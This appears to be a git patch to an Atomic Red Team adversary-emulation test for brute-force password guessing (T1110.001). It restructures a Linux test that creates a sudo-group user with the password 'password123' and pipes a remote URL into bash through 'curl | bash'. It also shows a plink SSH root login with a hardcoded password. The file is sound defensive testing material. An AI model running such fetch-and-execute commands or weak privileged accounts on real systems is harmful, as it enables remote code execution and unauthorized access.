From 44cd7ff8f1fc938e7d4a29606b87bc9c6e2b7ea0 Mon Sep 17 00:00:00 2001 From: AlbertoPellitteri <66901396+AlbertoPellitteri@users.noreply.github.com> Date: Tue, 17 Sep 2024 23:21:29 +0200 Subject: [PATCH] Fixing test `T1110.001.yaml` (#2931) * Fixing test T1110.001.yaml * Update T1110.001.yaml --------- Co-authored-by: Hare Sudhan --- atomics/T1110.001/T1110.001.yaml | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/atomics/T1110.001/T1110.001.yaml b/atomics/T1110.001/T1110.001.yaml index 3ec16bf7..08aeeeef 100644 --- a/atomics/T1110.001/T1110.001.yaml +++ b/atomics/T1110.001/T1110.001.yaml @@ -185,9 +185,7 @@ atomic_tests: elevation_required: true command: | useradd -G sudo -s /bin/bash -p $(openssl passwd -1 password123) art - su art - cd /tmp - curl -s #{remote_url} |bash + su -c "cd /tmp; curl -s #{remote_url} | bash" art cleanup_command: | userdel -fr art @@ -299,4 +297,4 @@ atomic_tests: #{plink_file} -ssh "#{vm_host}" -l root -pw f0b443ae-9565-11ee-b9d1-0242ac120002 } name: powershell - elevation_required: false \ No newline at end of file + elevation_required: false